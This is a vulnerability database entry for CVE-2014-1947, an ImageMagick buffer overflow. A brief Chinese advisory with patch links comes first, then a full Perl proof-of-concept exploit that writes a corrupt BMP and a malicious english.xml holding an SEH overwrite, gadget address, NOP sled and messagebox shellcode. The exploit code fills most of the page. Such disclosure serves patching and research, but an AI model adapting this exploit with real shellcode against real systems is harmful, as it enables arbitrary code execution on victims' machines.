Lucene search

K
seebugRootSSV:61456
HistoryFeb 17, 2014 - 12:00 a.m.

ImageMagick PSD图形文件处理缓冲区溢出漏洞

2014-02-1700:00:00
Root
www.seebug.org
21

0.01 Low

EPSS

Percentile

83.3%

BUGTRAQ ID: 65478
CVE ID:CVE-2014-1947

ImageMagick是一款Unix/Linux平台下开源的图像查看和编辑工具。

ImageMagick 6.8.8-5之前版本进行PSD图形的RLE解码中出现边界错误,可使远程攻击者利用此漏洞造成缓冲区溢出,导致执行任意代码。
0
ImageMagick ImageMagick < 6.8.8-5
厂商补丁:

ImageMagick

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.imagemagick.org/
http://www.imagemagick.org/script/changelog.php
http://freecode.com/projects/imagemagick/tags/bugfixes


                                                #!/usr/bin/perl
########################################################################################
# Exploit Title: ImageMagick &lt; 6.8.8-5 - Local Buffer Overflow (SEH)
# Date: 2-13-2014
# Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
# Vulnerable Software: ImageMagick (all versions prior to 6.8.8-5)
# Software Link: http://ftp.sunet.se/pub/multimedia/graphics/ImageMagick/binaries/
# Version Tested: 6.8.8-4
# Tested On: Windows XP SP3
########################################################################################
# Credits:
# 
# CVE-2014-1947 published Feb 08 2014
#               by Justin Grant
#               http://www.securityfocus.com/bid/65478/info
#
########################################################################################
# Overview:
#
# I saw the notice for this CVE today but there was no known published expoits so 
# I figured I'd put together this quick POC. Note, all app modules for the tested 
# version were compiled with safeSEH so my use of an OS module may require adjustment  
# of the offsets. There also appears to be several bad chars that fail the sploit.
# For this POC I only generate a basic messagebox using FatalAppExit(). It may take 
# some work to get it to do more.
#
# How it works:
# 
# This particular BOF takes advantage of insecure handling of the english.xml file
# which the app uses to display various error messages. I didn't spend much time 
# investigating the app so there may be additional vulnerable locations
# 
# This script generates two files:
#   1) a malfored .bmp file that will cause ImageMagick to generate a specific
#      error when opened (LengthAndFilesizeDoNotMatch), as defined in the 
#      english.xml file
#   2) a modified  english.xml file that replaces the original error message with 
#      our exploit code
#
# To test this POC:
#   1) run the script, replace the original english.xml file (in App's folder)
#   2) open the .bmp file with ImageMagick
########################################################################################
 
# file write function 
sub write_file { 
  my ($file, $buffer) = @_;
  open(FILE, &quot;&gt;$file&quot;);
  print FILE $buffer;
  close(FILE);
  print &quot;Exploit file [&quot; . $file . &quot;] created\n&quot;;
  print &quot;Buffer size: &quot; . length($buffer) . &quot;\n&quot;; 
}
 
# create bmp file header; needs to be a valid header to generate necessary error
sub bmp_header {
   my $header = &quot;\x42\x4d&quot;; # BM
   $header = $header . &quot;\x46\x00\x00\x00&quot;; # file size (70 bytes)
   $header = $header . &quot;\x00\x00\x00\x00&quot;; # unused 
   $header = $header . &quot;\x36\x00\x00\x00&quot;; # bitmap offset
   $header = $header . &quot;\x28\x00\x00\x00&quot;; # header size
   $header = $header . &quot;\x02\x00\x00\x00&quot;; # width
   $header = $header . &quot;\x02\x00\x00\x00&quot;; # height
   $header = $header . &quot;\x01\x00&quot;; # num of color planes
   $header = $header . &quot;\x18\x00&quot;; # num of bits per pixel
   $header = $header . &quot;\x00\x00\x00\x00&quot;; # compression (none)
   $header = $header . &quot;\x10\x00\x00\x00&quot;; # image size
   $header = $header . &quot;\x13\x0b\x00\x00&quot;; # horizontal resolution (2,835 pixels/meter)
   $header = $header . &quot;\x13\x0b\x00\x00&quot;; # vertical resolution (2,835 pixels/meter)
   $header = $header . &quot;\x00\x00\x00\x00&quot;; # colors in palette
   $header = $header . &quot;\x00\x00\x00\x00&quot;; #important colors
   return $header;
}
 
## Construct the corrupted bmp file which will trigger the vuln
my $header = bmp_header();
my $data = &quot;\x41&quot; x (5000 - length($header)); # arbitrary file data filler
my $buffer = $header.$data; 
write_file(&quot;corrupt.bmp&quot;, $buffer);
 
# construct the buffer payload for our xml file
my $buffsize = 100000;
my $junk = &quot;\x41&quot; x 62504; # offset to next seh at 568
my $nseh = &quot;\xeb\x32\x90\x90&quot;; # overwrite next seh with jmp instruction (20 bytes)
my $seh = pack('V', 0x74c82f4f); # : pop ebp  pop ebx  ret
                 # ASLR: False, Rebase: False, SafeSEH: False, OS: True, C:\WINDOWS\system32\OLEACC.dll)
my $junk2 = &quot;\x41&quot; x 12; # there are at least two possible offsets -- 1 for  file-&gt; open and 1 for the open file menubar button 
my $nops = &quot;\x90&quot; x 100;
 
# this is just a POC shellcode that displays a messagebox using the FatalAppExit function 
my $shell = &quot;\xb9\x7c\xec\xa5\x7c&quot; . # Unicode String &quot;FailSilently&quot; (address may vary)
        &quot;\x31\xc0&quot; . # xor eax, eax
        &quot;\xbb\xb2\x1b\x86\x7c&quot; . # kernel32.dll FatalAppExit()
        &quot;\x51&quot; . # push ecx
        &quot;\x50&quot; . # push eax
        &quot;\xff\xd3&quot;; # call ebx
 
my $sploit = $junk.$nseh.$seh.$junk2.$nseh.$seh.$nops.$shell; # assemble the exploit portion of the buffer
my $fill = &quot;\x43&quot; x ($buffsize - (length($sploit))); # fill remainder of buffer with junk
$sploit = $sploit.$fill; # assemble the final buffer
 
# build the malicious xml file
my $xml = '&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&lt;locale name=&quot;english&quot;&gt;&lt;exception&gt;&lt;corrupt&gt;&lt;image&gt;&lt;warning&gt;&lt;message name=&quot;LengthAndFilesizeDoNotMatch&quot;&gt;'; 
$xml = $xml . $sploit;
$xml = $xml . '&lt;/message&gt;&lt;/warning&gt;&lt;/image&gt;&lt;/corrupt&gt;&lt;/exception&gt;&lt;/locale&gt;';
my $buffer = $xml;
write_file(&quot;english.xml&quot;, $buffer);